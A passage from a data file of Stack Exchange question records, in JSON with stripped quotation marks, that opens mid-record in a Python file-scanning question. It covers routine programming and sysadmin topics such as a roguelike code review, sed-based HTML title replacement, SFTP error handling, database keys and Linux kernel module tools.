/bin/bashclearBASEPATH=/home/processmkdir processedmkdir processed/slicecat $BASEPATH/dataset/* | cut -d' ' -f1,2 | sort -u -k2 > $BASEPATH/processed/sorted_keyssplit -d -l 3000000 processed/sorted_keys processed/slice/slice-for filename in processed/slice/*; do    python processing.py $filenamedonerm $BASEPATH/processed/sorted_keysrm -rf $BASEPATH/processed/sliceFor each slice I launch processing.pyHere is my working code, with Manager:import os,sys,datetime,time,thread,threading;from multiprocessing import Process, Managerfiles_1 = [20140601,20140602,20140603]files_2 = [20140604,20140605,20140606]files_3 = [20140607,20140608]files_4 = [20140609,20140610]def split_to_elements(line):    return line.split( )def print_to_file():    with open('processed/20140601','a') as output:        for k in keys:            splitted = split_to_elements(k)            sum_count = 0            clicks =             j=0            while j < 10:                click = res.get(k+-+str(j), 0)                clicks += str(click) + ,                sum_count += click                j+=1            to_print = str(sum_count) + , + splitted[1] + , + clicks + splitted[0]+ \\n            output.write(to_print)def search_window(files,length):    n=length    for f in files:        with open(dataset/pagecounts-+f) as current_file:            for line in current_file:                splitted = split_to_elements(line)                res[splitted[0]+ +splitted[1]+-+str(n)] = int(splitted[2].strip(\\n))        n+=1with open(sys.argv[1]) as sorted_keys:    manager = Manager()    res = manager.dict()    keys = []    print STARTING POPULATING KEYS AT TIME:  + datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')    for keyword in sorted_keys:        keys.append(keyword.strip(\\n))    print ENDED POPULATION AT TIME:  + datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')    print STARTING FILES ANALYSIS AT TIME:  + datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')    procs = []    procs.append(Process(target=search_window, args=(files_1,0,)))    procs.append(Process(target=search_window, args=(files_2,3,)))    procs.append(Process(target=search_window, args=(files_3,6,)))    procs.append(Process(target=search_window, args=(files_4,8,)))    for p in procs:        p.start()    for p in procs:        p.join()    print_to_file()    print ENDED FILES ANALYSIS AT TIME:  + datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')    print START PRINTING AT TIME:  + datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')    print ENDED PRINT AT TIME:  + datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')"  , "title": "Scanning multiple huge files in Python (follow-up)"  , "tags": "python;file;time limit exceeded;join"  } 
{  "id": "_webmaster.59292"  , "question": "I have several pages about an entity. To illustrate, an example:John Smith OverviewJohn Smith Places He Grew Up InJohn Smith Companies he worked forJohn Smith His HighSchool FriendsCurrently all are accessible to search engines. I'm thinking about removing all the pages as far as search engines are concerned and focus all of the SE traffic on the main Overview Page while keeping this page distribution for users. In order to do that I was thinking about doing a 301 redirect from all pages about 'John Smith' to his Overview page. The content itself will be available to users in a new url that will be blocked through robots.txt. The idea is to focus all current SEO power into one page and that way rank higher for the search term 'John Smith'. Is that a good idea? Is there a different way to combines pages authority into one main page?"  , "title": "How to combine pages authority into one page?"  , "tags": "seo"  } 
{  "id": "_datascience.21674"  , "question": "I have some data I collected off a forum. It is essentially Nissan Leaf battery state of health along with ODO reading, number of charges, age of vehicle, generation of model, battery size. Its not great, but this stuff seems scarce!Wnat I wanted to be able to do with it, is maybe produce a rudimentary battery health model. i.e. with inputs of miles driven, age, number of charges I want state of health to pop out the other side. I have no idea where to start! I have been pointed in the direction of Orange and it seems nice, but there are so many things to choose from!From general knowledge I know batteries degrade over time. They also degrade with discharge use (driving) and they degrade with charging too. So Age, ODO Miles and number of charges should be correlated to state of health.I think I need to remove a few outliers, then I guess linear regression might be the first port of call?I am going to try watch through the tutorials on YouTube. I can share the data if that helps."  , "title": "What can I do with this data?"  , "tags": "machine learning;regression;linear regression;orange"  } 
{  "id": "_codereview.42203"  , "question": "I have written this small game for the learn python the hard way book. I ask for some opinions about it and how to improve it.I know about pygame and others game engines but all the game runs in the terminal. The text file orc.txt, cyclops.txt, etc are ASCII drawingsfrom PIL import Imageimport numpy as npimport msvcrtfrom time import sleepfrom random import choice, randintprevious = 15 #start position tiledef createmap():        The map is sketched in bmp, I make a array    to use it like a tileset        global bmp    bmp = Image.open('sketch.bmp')    bmp_data = bmp.getdata()    bmp_array = np.array(bmp_data)    global map    map = bmp_array.reshape(bmp.size)def array_to_text_map():     Tileset    # = Wall    . = sand    + = door    e = enemy    D = dragon    $ = gold    @ = the player    numbers as due to the 16 color palette used    in the sketch        text_map = open('map.txt', 'w')    for x in map:        for y in x:            if y == 0:                text_map.write('#')            elif y == 3:                text_map.write('.')            elif y == 8:                text_map.write('+')            elif y == 9:                text_map.write('e')            elif y == 10:                text_map.write('D')            elif y == 12:                text_map.write('$')            elif y == 13:                text_map.write('@')            elif y == 15:                text_map.write(' ')        text_map.write('\\n')    text_map.close()def print_text_map():    text_map = open('map.txt')    for x in range(bmp.size[1]):        print(text_map.readline(), end='')def move_player_by_key():    wkey = msvcrt.getch    if wkey() == b\\xe0:        key2 = wkey()        if key2 == bH:            move_in_matrix('up')        elif key2 == bM:            move_in_matrix('right')        elif key2 == bK:            move_in_matrix('left')        elif key2 == bP:            move_in_matrix('down')    else:        exit()def position():    ver = np.where(map == 13)[0][0]    hor = np.where(map == 13)[1][0]    return ver, hordef move_in_matrix(direction):    ver, hor = position()    try:        if direction == 'up':            analize(ver-1 , hor)        elif direction == 'right':            analize(ver , hor+1)        elif direction == 'left':            analize(ver , hor-1)        elif direction == 'down':            analize(ver+1 , hor)    except IndexError:        console.append('Not that way')def analize(verm, horm):    Take decision for each tile    verm and horm = next position    ver and hor = actual position    previous = keeps tile number for later        global previous    ver, hor = position()    def restore(ver, hor, previous):        Restore color of the leaved tile        map[ver, hor] = previous    if map[verm, horm] == 0:        pass    elif map[verm, horm] == 3:        restore(ver, hor, previous)        previous = map[verm, horm]        map[verm, horm] = 13    elif map[verm, horm] == 8:        print('Open the door (yes/no)?', end='')        answer = input(' ')        if door(answer):            restore(verm, horm, 15)            console.append('The door was opened')            console.append(doors_dict[(verm, horm)]) #show the description                                                     #attached to the door    elif map[verm, horm] == 9:        print('Do you want to fight against the monster (yes/no)?', end='')        answer = input(' ')        result = fight(answer)        if result and randint(0,1) == 1:            restore(verm, horm, 12)        elif result:            restore(verm, horm, 15)    elif map[verm, horm] == 10:        print('the beast seems asleep, you want to wake her?(yes/no)?', end='')        answer = input(' ')        result = fight(answer, dragon=True)        if result:            win()    elif map[verm, horm] == 12:        print(You want to grab the items in the floor (yes/no)?, end='')        if input(' ') == 'yes':            gold()            restore(verm, horm, 15)    elif map[verm, horm] == 15:        restore(ver, hor, previous)        previous = map[verm, horm]        map[verm, horm] = 13def door(answer):    if answer == 'yes':        return True    elif answer == 'no':        return False    else:        console.append('Invalid command')def identify_doors():    Hardcode: Identify each door and zip() it with    a description stored previously        doors_array = np.where(map == 8)    doors = zip(doors_array[0], doors_array[1])    dict_doors = {}    narrate = open('narrate.txt')    for x in doors:        dict_doors[x] = narrate.readline()    return dict_doorsdef fight(answer, dragon=False):    if answer == 'yes':        if dragon == False:            monster = choice([Orc(), Goblin(), Cyclops()])        else:            monster = Dragon()        monster.show_appearance()        print('Fighting against', monster.name)        sleep(2)        while True:            monster.show_appearance()            print(monster.name, 'is attacking you', end = '')            answer = input('fight (1) or defend (2)? ')            if answer == '1':                player.defense = 1 + player.armor                monster.life = monster.life - player.damage            elif answer == '2':                player.defense = 1.5 + player.armor            else:                print('Invalid command')                continue            print(monster.name, 'counterattack!!')            player.life = player.life - (monster.damage / player.defense)            print(monster.life, 'remaining', monster.name, 'life')            print(player.life, 'remaining Player life')            if player.life <= 0:                print('The End')                exit()            if monster.life <= 0:                print('\\n' * 5)                print('Enemy defeated')                print('You earn', monster.gold, 'gold coins')                player.gold += monster.gold                break           sleep(3)        return True    else:        return Falsedef moredamge(val):    player.damage += valdef morearmor(val):    player.armor += valgolds = {'Fire sword': (moredamge, 20),            'Oak shield': (morearmor, 0.1),            'Anhilation sword': (moredamge, 40),            'Iron shield': (morearmor, 0.2),            'Siege shield': (morearmor, 0.5)            }def gold():    bunch = randint(10, 200)    print('You have found', bunch, 'gold coins')    player.gold += bunch    sleep(1)    print('Is there anything else?')    if randint(0, 10) > 7:        obtained = choice(list(golds))        print('You have get', obtained)        golds[obtained][0](golds[obtained][1]) #access to key: (function, quantity)        del golds[obtained]    else:        print('Oooohh.. nothing else')    sleep(2)def win():    print('You have win the game')    print('You get', player.gold, 'gold coins!!')    exit()class Orc():    def __init__(self):        self.name = 'Orc'        self.life = 100        self.damage = 10        self.defense = 1        self.gold = 100        self.appearance = open('orc.txt')    def show_appearance(self):        print(self.appearance.read())class Player(Orc):    def __init__(self):        self.life = 1000        self.damage = 20        self.gold = 0        self.appearance = open('knight.txt')        self.armor = 0class Goblin(Orc):    def __init__(self):        self.name = 'Goblin'        self.life = 50        self.damage = 10        self.gold = 50        self.appearance = open('goblin.txt')class Dragon(Orc):    def __init__(self):        self.name = 'Dragon'        self.life = 400        self.damage = 40        self.gold = 2000        self.appearance = open('dragon.txt')class Cyclops(Orc):    def __init__(self):        self.name = 'Cyclops'        self.life = 150        self.damage = 20        self.gold = 120        self.appearance = open('cyclops.txt')def presentation():    print('\\n'*2)    player.show_appearance()    print('Welcome hero, are you ready for fight?')    input() if __name__ == __main__:    player = Player()    presentation()    console = []    createmap()    array_to_text_map()    doors_dict = identify_doors()    print_text_map()    while True:        move_player_by_key()        array_to_text_map()        print_text_map()        if console:            for x in console:                print(x)        else:            print()        console = []"  , "title": "Simple console roguelike game"  , "tags": "python;game;console"  , "accepted_answer": "I'll assume you're fairly new to Python; tell me if you feel this stuff is too basic, and I'll start criticizing you for things that you don't deserve to be criticized for.StateOk, so the first thing that made me go eww in the code was global. In general, whenever you use global, you're probably doing something wrong. If I was to write your createmap function, it might look something more like this:def createmap():        The map is sketched in bmp, I make a array    to use it like a tileset        bmp = Image.open('sketch.bmp')    bmp_data = bmp.getdata()    bmp_array = np.array(bmp_data)    map = bmp_array.reshape(bmp.size)    return bmp, mapInstead of using a global bmp and map variable, I'm returning the non-global bmp and map variables. This means that I have a lot more flexibility in calling the function:# I can use it to create the old global variables:global bmp, mapbmp, map = createmap()# Or some local oneslocal_bmp, local_map = createmap()# But most importantly, I can use it to create multiple sets of thembmp1, map1 = createmap()bmp2, map2 = createmap()The last case is the most important; using your version of createmap(), when I call createmap() for the second time, it overwrites the previous bmp and map variables. This might not seem like a big problem; why would you ever need more than one map? but it makes it much harder to test things when they change global variables.We can do similar things to your other functions to avoid using global variables. The array_to_text_map function currently uses the map global variable, but we can replace that with a map argument. This way we will be able to convert any map to a text map, not just the one stored in the global map variable.One downside to this is that it does require more typing; I have to explicitly pass around all of my state. However, one of the core tenets of Python is that explicit is better than implicit, so get used to it ;) I should mention that people often wrap up their program's commonly used variables into classes, though that's probably more complex than you are looking for right now.Switch StatementsAnother thing that makes me feel uncomfortable about the code is when you have long chains of elif statements:if y == 0:    text_map.write('#')elif y == 3:    text_map.write('.')elif y == 8:    text_map.write('+')elif y == 9:    text_map.write('e')elif y == 10:    text_map.write('D')elif y == 12:    text_map.write('$')elif y == 13:     text_map.write('@')elif y == 15:     text_map.write(' ')This is ugly, and violates the DRY principle. What you are doing here is looking up a value, based on the value of the variable y. The Pythonic (and sane) way of doing this is to define a dictionary (mapping) from the values of y to the string that should be written to text_map:TEXT_MAP_CHARS = {    0: #,    3: .,    8: +,    9: e,    10: D,    12: $,    15:  }We can then look up the correct character, and then write that to the file:char = TEXT_MAP_CHARS[y]text_map.write(char)Which is much neater, and doesn't mix up program data (the mapping from numbers to characters) and program logic (the writing of the character to a file based on the value of y).With that said, I would praise you for your style. For every problem your code may have semantically, it is formatted very well (hooray for PEP8)"  } 
{  "id": "_cs.24180"  , "question": "You have a description of a language that you have to prove is regular, context free, or other. In order to prove that it does not belong to a certain class of languages, you might think that it will be more convenient to prove it by using a subset of that language. The problem is that a subset of a language does not necessarily belong to the same language class as the superset language. For example: with $\\Sigma = \\{0,1\\}$, $\\Sigma^*$ is a regular language, while $ A = \\{ 0^n1^n \\mid n \\geq 0\\} \\subseteq \\Sigma^* $ is a context free language. (I have fallen in the trap of trying to use subsets of languages in order to try to prove that they belong to a certain class of languages.)An example:Let $\\Sigma = \\{0,1\\} $ and $L = \\{ w \\in \\Sigma^* \\mid \\text{w contains less 1's than 0's} \\}$Is $L$ regular, context free, or neither?My intuition says that it is not regular, since finite state machines can't count. I think it is context free. The strategy I'm thinking of is to show that this language is context free:$ L_2 = \\{ 0^n1^m \\mid n \\gt m\\}$This language is clearly a proper subset of $L$. But, like we've seen, that may not be a very useful fact if we want to prove things about the proper superset (to my understanding). It seems that $L_2$ is easier to generate than $L$: it seems easier to count how many consecutive 0's there are rather than counting the number of 0's in a string. (Especially if you consider using a PDA to count it, since then it just boils down to pushing consecutive 0's and then popping when you start seeing 1's, accepting the language if there are 0's left on the stack when you have consumed the word.) Consequently, if this intuition of hardness is correct, then $L$ is at least not regular. But then another problem reveals itself; maybe $L$ is not context free? So then you have at least shown it to not be regular, but you still have to show that it is context free or not.This is not the only problem for which I want to use this strategy. For example:$L_p = \\{ w \\in \\Sigma^* \\mid \\text{the number of 0's in w is prime}\\}$Here I think it might be more convenient to use something like the Pumping Lemma on this language:$L_{p2} = \\{ 0^n \\mid \\text{n is prime}\\}$Is this kind of strategy valid?"  , "title": "Proving that a language does not belong to a language class by using more specific instances of that language"  , "tags": "formal languages;proof techniques"  , "accepted_answer": "Yes. The formal way to name this trick is the use of closure properties. In your specific case the families (regular, context-free) are closed inder intersection with a regular language: if $K$ is regular (context-free) then so is $K\\cap R$, where $R$ is regular.In your examples $L_2 = L \\cap 0^*1^*$ and $L_{p2} = L_p \\cap 0^*$.So, if $L_{p2}$ isn't context-free then neither is $L_p$. Also if $L_2$ isn't regular then neither is $L$. Regarding the first part of you question this will not help: $L_2$ may be context-free while $L$ isn't. (Not is this example, where they both are context-free: use pushing and popping but in a more general way, think how to represent negative numbers.) On the other hand, when you are not able to solve the general case, it might be helpful to develop intuition on the special cases."  } 
{  "id": "_unix.225053"  , "question": "My directory ~/foo contains many HTML files. Each one has a different unwanted title element. That is, each file contains the code<title>something unwanted</title>Many of these files also contain some span elements like this<span class=org-document-info-keyword>#+Title:</span> <span class=org-document-title>correct title</span>I'd like to write a script that scans each HTML file and, for each file that contains a code-block of the second type, replaces the unwanted title with the correct title.Once the title has been replaced, I'd like the script to remove the code in the second block.For example, running the script on <!DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01//EN><!-- Created by htmlize-1.47 in css mode. --><html>  <head>    <title>foo.org</title>    <style type=text/css>    <!--      body {        color: #839496;        background-color: #002b36;      }      .org-document-info {        /* org-document-info */        color: #839496;      }      .org-document-info-keyword {        /* org-document-info-keyword */        color: #586e75;      }      .org-document-title {        /* org-document-title */        color: #93a1a1;        font-size: 130%;        font-weight: bold;      }      .org-level-1 {        /* org-level-1 */        color: #cb4b16;        font-size: 130%;      }      a {        color: inherit;        background-color: inherit;        font: inherit;        text-decoration: inherit;      }      a:hover {        text-decoration: underline;      }    -->    </style>  </head>  <body>    <pre><span class=org-document-info-keyword>#+Title:</span> <span class=org-document-title>my desired title</span><span class=org-document-info-keyword>#+Date:</span> <span class=org-document-info>&lt;2015-08-23 Sun&gt;</span><span class=org-level-1>* hello world</span>Vivamus id enim.  </pre>  </body></html>should result in<!DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01//EN><!-- Created by htmlize-1.47 in css mode. --><html>  <head>    <title>my desired title</title>    <style type=text/css>      <!--      body {          color: #839496;          background-color: #002b36;      }      .org-document-info {          /* org-document-info */          color: #839496;      }      .org-document-info-keyword {          /* org-document-info-keyword */          color: #586e75;      }      .org-document-title {          /* org-document-title */          color: #93a1a1;          font-size: 130%;          font-weight: bold;      }      .org-level-1 {          /* org-level-1 */          color: #cb4b16;          font-size: 130%;      }      a {          color: inherit;          background-color: inherit;          font: inherit;          text-decoration: inherit;      }      a:hover {          text-decoration: underline;      }    -->    </style>  </head>  <body>    <pre>      <span class=org-document-info-keyword>#+Date:</span> <span class=org-document-info>&lt;2015-08-23 Sun&gt;      </span>      <span class=org-level-1>* hello world</span>      Vivamus id enim.      </pre>  </body></html>Is there a tool in linux that can easily do this?"  , "title": "How can I replace the  element in many HTML files?"  , "tags": "shell script;html"  , "accepted_answer": "You are probably best off scripting something. This script is not robust (doesn't check for empty strings, doesn't account for desired title being on several lines etc) but it might be something to get you started. Backup before you start doing anything crazy.#! /bin/bashFILES=./*.htmlfor f in $FILESdo     grep '.*org-document-title>.*' $f |\\         sed -e 's/.*org-document-title>\\([^<]\\+\\).*/\\n\\1/g' |\\         tail -n 1 |\\         xargs -I new_title sed -i.bak 's/<title>[^>]\\+<\\/title>/<title>new_title<\\/title>/g' $fdoneThis only replaces the title with the new my desired title. You could expand by doing another pass and getting rid of the unwanted span elements."  } 
{  "id": "_unix.226253"  , "question": "I've got a computer with an SSD with Linux Mint installed and a bunch of HDD's. When in the file-browser I click one of the HHD's they get mounted in /media, which is fine for me. However I need to put files on thoses drives remotely. I'm using WinScp and that works fine, however only when the drives are already mounted, so I have to physically access the Linux computer and click on the HDD-icons. So my question is: is there a command to mount all the drives to /media, like what's happening when I click on them in the file browser? Then I can use PuTTY to send that command.Thanks"  , "title": "Easy mount hdd from remote computer"  , "tags": "mount;hard disk"  } 
{  "id": "_vi.4809"  , "question": "Say I entered :e bla/bla/bla.txt and I realize I want to put a ! after the e. Can I get there without using the arrow keys?"  , "title": "Can one jump in ex mode?"  , "tags": "ex mode"  , "accepted_answer": "Command Line WindowYou can use cmdline-window to edit the command line the same way as you would any other window. Enter into this window by pressing <c-f> while on the command line or use q: in normal mode.There is a similar Vimcasts episode on the subject: Refining search patterns with the command-line windowCommand line mappingsThe command line also has many of its own mappings to help navigate/modify:<c-b>/<home> to go to the beginning (Some people remap this to <c-a> to match emacs/bash/readline)<s-left> or shift + left arrow moves to the left one WORD<c-u> clears the command line completely<c-r>{reg} will put the value of register, {reg} into the lineMany more. See Q_ce for a quick review.For more help see::h cmdwin:h cmdline-editing"  } 
{  "id": "_softwareengineering.174860"  , "question": "Is an ID field is always needed in database tables?In my case I have a user with firstName, lastName and email fields. email is unique and not null, so it could be used as an ID, right? So in that case, could/should I try to remove the ID?Also I want to have another table which extends this one. Let's say its called patient and it has it's own field additionalData and I would like to link the relationship through the email of user I mentioned. So the relationship should be 1 to 1, right? and I wouldn't need the IDs? Somehow MySQL Workbench wants me to use the IDs.What do you guys think. Any suggestions on this topic?"  , "title": "Do database tables need to have IDs?"  , "tags": "database"  , "accepted_answer": "Virtually every table needs a primary key.  I would strongly argue that every table needs a primary key but I'm willing to make the occasional exception.Whether the primary key of a table should be a natural primary key-- some column or columns that are part of the business data that are naturally unique-- or whether a synthetic primary key should be used-- some additional data that has no business meaning and is used solely as an identifier, generally either an incrementing integer or a GUID-- is a bit of a religious debate.  Personally, I tend to prefer synthetic keys over natural keys but other data modelers who I have a great deal of respect for prefer natural keys.In your case, one of the primary issues with using a email address as a natural key is dealing with what happens when someone wants to change their email address.  If email address is the primary key, they you'll have to change the data in the USER table but you'll also have to ripple the change through every child table that has a foreign key relationship to the USER table.  Depending on your database, that can range from annoying to a major undertaking, depending on whether your database happens to support cascading updates.  Oracle, for example, believes that primary keys ought to be immutable so it does not support cascading updates-- you'd have to write that code yourself (or leverage one of the packages floating around to do it).  I believe MySQL does support cascading updates so you merely have to ensure that each and every foreign key constraint in the system is set to cascade on update and test that you haven't broken the ability to change an email address every time you add a new table to the database or modify a constraint.  On the other hand, if you use a nice, simple synthetic key, i.e. a user_id column, you can simply update the email address column like you would update any other piece of business information.Whatever you define as the primary key of your parent table should be used as the foreign key in your child table.  "  } 
{  "id": "_softwareengineering.187926"  , "question": "What is this pattern called? Is this a variant of the Module pattern? I remember there's disadvantage to this pattern and it's related to memory usage. var module = function() {    this.Alert = function() {            alert(I'm a public);    }    function iamPrivate() {         alert(not callable because I'm private);       }}var inst = new module();inst.Alert();"  , "title": "Is this a variant of the Module pattern?"  , "tags": "javascript"  } 
{  "id": "_unix.77469"  , "question": "Below shell script instruction behave in weird wayARG_DATE=`sqsh -S $SERVER -U $DB_USER -P $DB_PASSWORD -D dbname -h<<ENDSET NOCOUNT ONgoselect convert(varchar, PRIOR_COB_DATE, 112) from TABLEgoEND`echo $ARG_DATEif [ ${ARG_DATE} != 1 ] && [ ${ARG_DATE} !=   ]; then    if [ ${ARG_DATE/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/1} = 1 ]; then        PRIOR_POSITION_DATE=${ARG_DATE}        echo assigned  $PRIOR_POSITION_DATE    else        echo Date must be in follow format: YYYYMMDD        echo POSITION_DATE will be used.    fifiURL_PARAMS=HttpAutosysJobExecutor/NotificationEmailGenerator.job?prior_cob_date=${PRIOR_POSITION_DATE}    echo $URL_PARAMS    echo ${CONNECTION_STATUS_FILE} http://${SERVER_ADDRESS}:${SERVER_PORT}/HTTP/${URL_PARAMS}        wget -o ${CONNECTION_STATUS_FILE} http://${SERVER_ADDRESS}:${SERVER_PORT}/HTTP/${URL_PARAMS}        if [ -f ${CONNECTION_STATUS_FILE} ]; then            RESPONSE_STATUS=`grep -o '200 OK' ${CONNECTION_STATUS_FILE}`            if [ -z ${RESPONSE_STATUS} ]; then                echo Login failed.                exit 3            fi        #    rm ${CONNECTION_STATUS_FILE}        fiwhile executing wget I am getting so many whitespaces becasue of whitespaces database procedure is failing to cast string in DB Date, using sed I can remove whitespaces but I want to know the possible reason of this.Log in CONNECTION_STATUS_FILEhttp://XXXXX:7001/MYAPP/HttpAutosysJobExecutor/NotificationEmailGenerator.job?prior_cob_date=%2020130523%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"  , "title": "Unexpected whitespace using sqsh in command substitution"  , "tags": "shell script;quoting;whitespace"  , "accepted_answer": "The echo Does not show you the whitespace at the end. For that you need something like echo ${URL_PARAMS}x. You can do set -x immediately before the wget call and set +x immediately after to see how wget is called.The problem is the shell's word splitting:${ARG_DATE/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/1} = 1instead of${ARG_DATE/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/1} = 1A solution would be to put this before that (fixed) line:ARG_DATE=${ARG_DATE// /}"  } 
{  "id": "_unix.312826"  , "question": "I'm trying to figure out and I would like to know if some of you experienced this before.I have my SFTP script (before it was FTP, and was migrated to SFTP), when I'm sending a file to the client server I'm getting a message in the verbus No such file or directory but the file is on the client server. this didn't happen before when I had FTP connection.any of you have experienced this before? even I'm exiting with status 0 that is very weird for me...debug1: Couldn't stat remote file: No such file or directorydebug1: Couldn't stat remote file: No such file or directorydebug1: channel 0: read<=0 rfd 6 len 0debug1: channel 0: read faileddebug1: channel 0: close_readdebug1: channel 0: input open -> draindebug1: channel 0: ibuf emptydebug1: channel 0: send eofdebug1: channel 0: input drain -> closeddebug1: client_input_channel_req: channel 0 rtype exit-status reply 0debug1: channel 0: rcvd closedebug1: channel 0: output open -> draindebug1: channel 0: obuf emptydebug1: channel 0: close_writedebug1: channel 0: output drain -> closeddebug1: channel 0: almost deaddebug1: channel 0: gc: notify userdebug1: channel 0: gc: user detacheddebug1: channel 0: send closedebug1: channel 0: is deaddebug1: channel 0: garbage collectingdebug1: channel_free: channel 0: client-session, nchannels 1debug1: fd 0 clearing O_NONBLOCKdebug1: fd 2 clearing O_NONBLOCKdebug1: Transferred: stdin 0, stdout 0, stderr 0 bytes in 4.6 secondsdebug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 0.0debug1: Exit status 0Code:sure, I have this: sftp -v -b ${sftp_file} ${username}@${server} > ${tmplog1} 2>&1 > ${tmplog2} GetStatus=$? if (( $GetStatus != 0 )); then    if [[ $(grep -c No such file or directory ${tmplog1}) > 0 ]]; then        ErrorMessage=No such file or directory    elif [[ $(grep -c Connection refused ${tmplog1}) > 0 ]]; then        ErrorMessage=Connection refused with the server    elif [[ $(grep -c Connection timed out ${tmplog1}) > 0 ]]; then         ErrorMessage=Connection timed out with the server    elif [[ $(grep -c No route to host ${tmplog1}) > 0 ]]; then         ErrorMessage=No route to the server.    else        ErrorMessage=Unknown Error in transmission  process.    fi fiThanks!"  , "title": "Getting message No Such File Or Directory message with SFTP connection but file is on the server"  , "tags": "shell script;shell;sftp;return status"  } 
{  "id": "_unix.60637"  , "question": "Possible Duplicate:Match word containing characters beyond a-zA-Z I do not understand vims definition of a word. From the help for the motion w(:h w):w   [count] words forward.  |exclusive| motion.  These commands move over words or WORDS.   *word*A word consists of a sequence of letters, digits and underscores, or a  sequence of other non-blank characters, separated with white space (spaces,  tabs, ).  This can be changed with the 'iskeyword' option.This means when I invoke the w motion, vim needs to check which characterscan make up a word with the help of the iskeyword option. So let's check,what characters a word may be comprised of::set iskeyword?iskeyword=@,48-57,_,192-255Let's test this with characters not included in the characterslisted in the iskeyword option, e.g. U+015B LATIN SMALL LETTER SWITH ACUTE. Pressing ga on  tells us that it has the decimalvalue 347, which is larger than 255 and thus outside the range ofiskeyword. The cursor is placed on the t of tre and I press w:tre bar^ (cursor)The result:tre bar      ^ (cursor)If a word can be comprised of letters, digits, underscores andother characters, the only possibility is that vim treats the  asa letter, since it's obviously not a digit or an underscore.Let's check how to find out if a character is a letter. From :h:alpha::The following character classes are supported:  [:alpha:]    [:alpha:]     lettersA test with/[[:alpha]]shows that  is not considered to be a letter.Why did the cursor jump to the b if  is neither a letter,nor a digit, nor an underscore and not listed in iskeyword?Tested on VIM - Vi IMproved 7.3 (2010 Aug 15, compiled Dec 27 2012 21:21:18)Included patches: 1-762 on Debian GNU/Linux with locale set toen_GB.UTF-8."  , "title": "What does vim consider to be a word?"  , "tags": "vim"  } 
{  "id": "_softwareengineering.219351"  , "question": "Reading code and discussions pertaining to code, I often see the words state and status used interchangeably, but the following tendencies seem to exist:When a variable holds a value intended to indicate that something is in a certain state, the name of that variable more often than not contains the word state, or an abbreviation thereof.However, when the return value of a function serves to indicate some such state, we tend to call that value a status code; and when that value is stored in a variable, this variable is commonly named status or something similar.In isolation that's all fine I guess, but when the aforementioned variables are actually one and the same, a choice needs to be made involving the perverted intricacies of English language (or human language in general).What is the prevailing coding-standard or convention when it comes to disambiguating between the two? Or should one of those two always be avoided?This english.stackexchange question is also relevant, I suppose."  , "title": "state or status? When should a variable name contain the word state, and when should a variable name instead contain the word status?"  , "tags": "terminology;coding standards;variables;conventions;state"  } 
{  "id": "_softwareengineering.196934"  , "question": "Trying to convert some entities into value objects I am stuck in a case where what seems a value object must be unique within an aggregate.Suppose we have a Movie entity which makes the root of an aggregate. This Movie entity is related with some set of AdvertisementEvent objects with the role of displaying an advertisement at certain timestamp.The AdvertisementEvent contains a link to some Banner that must be displayed, the coordinates and some effect filters. Since AdvertisementEvent is just a collection of configuration parameters I am not sure if I should care about its identity and treat it like just a large value object. However I do care that within a Movie there must be only one AdvertisementEvent at a certain timestamp, probably even around the timestamps.I find hard to split my doubts in multiple independent questions, so there they go:Does a collection of configuration parameters sounds like a value object?Am I mixing the concept of uniqueness of AdvertisementEvent within Movie and  transactional integrity rule?Does any of the choices in point (2) implies that AdvertisementEvent must be a member of the aggregate made by Movie?Is my AdvertisementEvent object an Entity, a Value Object or an Event Object? (I used the Event suffix in the name to highlight my confusion)Are large value objects like this a design smell?I guess that I am not dealing with an Event in the sense of DDD because it is not something that just happens. The real DDD event should be something more like AdvertisementEventReached"  , "title": "Unique Value Object vs Entity"  , "tags": "domain driven design;entity;value object"  , "accepted_answer": "The distinction between Entity and Value object should be based around the question: If I have two objects with the same contents (two AdvertisementEvents linking to the same Banner with the same parameters), should I treat them differently or can one be replaced by the other without affecting how the software works?In this case, I would say that you can replace one AdvertisementEvent by another with the same values without affecting the operation of the software. This makes them Value objects (the contained value is what counts, not the identity of the object itself).As for the size of a Value object: As long as it contains a coherent set of parameters for a single responsibility, there is no limit on how large a Value object can be. In the implementation it might be good to pay special attention to large value objects to ensure they are not needlessly and excessively copied but otherwise it is no problem.As for the constraints on the number of AdvertisementEvents you have within a Movie, this is a constraint on the relation between a Movie and its collection of AdvertisementEvents, not on one of those classes individually. As such, the most logical place to enforce the constrained is at the point where the collection gets maintained in Movie (thus in the method where you try to add an AdvertisementEvent)."  } 
{  "id": "_unix.232450"  , "question": "I'm getting conflicting information from the manuals, especially regarding kmod and modprobe. All of these programs come together in the same package, but are any f these backends or frontends? Does modprobe call insmod and rmmod? Does depmod call modinfo when building a list of dependencies? Is kmod used as a backend by insmod and rmmod?From kmod.8.man: kmod is a multi-call binary which implements the programs used to control Linux Kernel modules. Most users will only run it using its other names."  , "title": "How do depmod, insmod, kmod, lsmod, modinfo, modprobe, and rmmod all relate?"  , "tags": "linux;modprobe"  } 
